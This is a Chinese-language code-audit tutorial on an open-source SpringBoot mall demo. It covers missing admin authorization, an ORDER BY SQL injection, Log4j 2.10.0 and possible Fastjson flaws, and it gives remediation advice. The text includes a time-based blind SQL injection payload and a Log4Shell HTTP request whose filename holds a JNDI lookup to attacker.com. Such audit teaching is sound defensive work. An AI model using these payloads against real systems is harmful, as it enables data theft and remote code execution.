JAVA代审—某迷你天猫商城
字数 1863 2025-08-29 08:30:06
迷你天猫商城Java代码审计教学文档
1. 项目概述
迷你天猫商城是一个基于SpringBoot框架的综合性B2C电商平台,主要功能包括:
- 用户注册、登录
- 商品浏览、购物车管理
- 订单创建、支付、确认收货、评价
- 后台管理(商品管理、订单管理、类别管理、用户管理和交易额统计)
技术栈:
- 框架:SpringBoot
- ORM:MyBatis
- 数据库:MySQL 5.7
- JDK版本:1.8
- 日志组件:Log4j 2.10.0
2. 环境部署
-
克隆项目代码:
https://gitee.com/zwp1341710922/e-commerce-management-system.git建议使用IntelliJ IDEA的版本控制功能检出
-
数据库准备:
- 创建数据库
tmalldemodb - 导入项目提供的SQL文件
- 创建数据库
-
MySQL配置调整(临时禁用ONLY_FULL_GROUP_BY模式):
SET GLOBAL sql_mode = (SELECT REPLACE(@@sql_mode, 'ONLY_FULL_GROUP_BY', '')) -
运行项目后访问:
http://localhost:8082/tmall/admin/login账户信息存储在admin表中
3. 安全漏洞审计
3.1 未授权访问漏洞
漏洞位置:
com.xq.tmall.controller.admin.UserController.java
漏洞描述:
- 路径
/tmall/admin/user/1/10可直接访问,返回包含用户密码等敏感信息 - 其他方法使用了鉴权代码:
logger.info("检查管理员权限"); Object adminId = checkAdmin(session); - 但目标方法缺少鉴权逻辑
影响:
攻击者无需认证即可获取所有用户信息,包括密码等敏感数据
修复建议:
- 为所有需要权限的方法添加鉴权检查
- 敏感信息(如密码)应在前端显示时进行脱敏处理
3.2 SQL注入漏洞
漏洞位置:
- 通过搜索
order by、like等关键字发现 - 具体在
UserMapper.xml文件中
漏洞描述:
- 请求示例:
实际执行的SQL:http://localhost:8082/tmall/admin/user/1/10?orderBy=1SELECT user_id,user_name,user_nickname,user_password,user_realname, user_gender,user_birthday,user_profile_picture_src,user_address,user_homeplace FROM user ORDER BY 1 desc LIMIT 10,10 - 可构造恶意参数触发时间盲注:
观察到明显延迟(sleep(3)延迟约60秒)/tmall/admin/user/1/10?orderBy=IF(1=1,+sleep(1),+1)--+
代码分析:
UserMapper.java定义接口方法UserMapper.xml实现具体SQL,使用${}进行参数拼接而非预编译的#{}
影响:
攻击者可利用此漏洞进行数据库信息泄露、数据篡改等操作
修复建议:
- 使用MyBatis的预编译方式(
#{})替换直接拼接(${}) - 对必须使用动态SQL的场景进行严格的输入过滤和校验
- 实现最小权限原则,限制数据库用户权限
3.3 Log4j漏洞
漏洞描述:
- 项目使用Log4j 2.10.0版本
- 存在已知高危漏洞:
- CVE-2021-44228(远程代码执行)
- CVE-2021-45046
漏洞位置:
- 图片上传功能中记录日志的代码:
logger.info("获取图片原始文件名:{}", originalFileName);
利用方式:
构造恶意文件名触发JNDI注入:
POST /tmall/user/uploadUserHeadImage HTTP/1.1
Host: localhost:8082
Content-Type: multipart/form-data; boundary=171182472826653739854099729287
Content-Disposition: form-data; name="file"; filename="${jndi:ldap://attacker.com/exploit}"
Content-Type: image/jpeg
影响:
攻击者可在服务器上执行任意代码,完全控制服务器
修复建议:
- 立即升级Log4j到最新安全版本(2.17.0或更高)
- 临时缓解措施:
- 设置系统属性
log4j2.formatMsgNoLookups=true - 移除JndiLookup类
- 设置系统属性
- 对用户提供的文件名进行严格过滤
3.4 Fastjson潜在漏洞
审计方法:
- 全文搜索
JSON.parse()和JSON.parseObject() - Fastjson历史版本存在多个反序列化漏洞
建议:
- 确认使用的Fastjson版本
- 如使用旧版本,应升级到最新安全版本
- 避免反序列化不可信数据
4. 其他发现
- 依赖管理问题:Maven下载的依赖与pom文件声明的版本不一致
- 可能导致不可预期的安全风险
- 建议使用dependency:tree检查实际依赖版本
- 使用dependencyManagement统一管理依赖版本
5. 安全开发建议
-
认证与授权:
- 所有管理接口必须进行权限校验
- 实现基于角色的访问控制(RBAC)
-
SQL安全:
- 全面使用预编译语句
- 避免动态拼接SQL
- 使用MyBatis拦截器进行统一SQL安全处理
-
日志安全:
- 升级所有存在已知漏洞的日志组件
- 避免记录敏感信息
- 对用户输入进行过滤后再记录
-
输入验证:
- 对所有用户输入进行严格验证
- 实现白名单过滤机制
-
依赖管理:
- 定期检查项目依赖的安全公告
- 使用OWASP Dependency-Check等工具扫描依赖漏洞
- 及时更新存在漏洞的依赖
-
安全编码:
- 实施安全编码规范
- 进行代码安全审计
- 关键操作添加安全日志
6. 总结
本次审计发现的迷你天猫商城主要安全问题包括:
- 未授权访问漏洞(高危)
- SQL注入漏洞(高危)
- Log4j远程代码执行漏洞(严重)
- Fastjson潜在反序列化漏洞
- 依赖管理不规范问题
建议开发团队按照上述修复建议立即修复高危漏洞,并建立长期的安全开发流程,确保系统安全。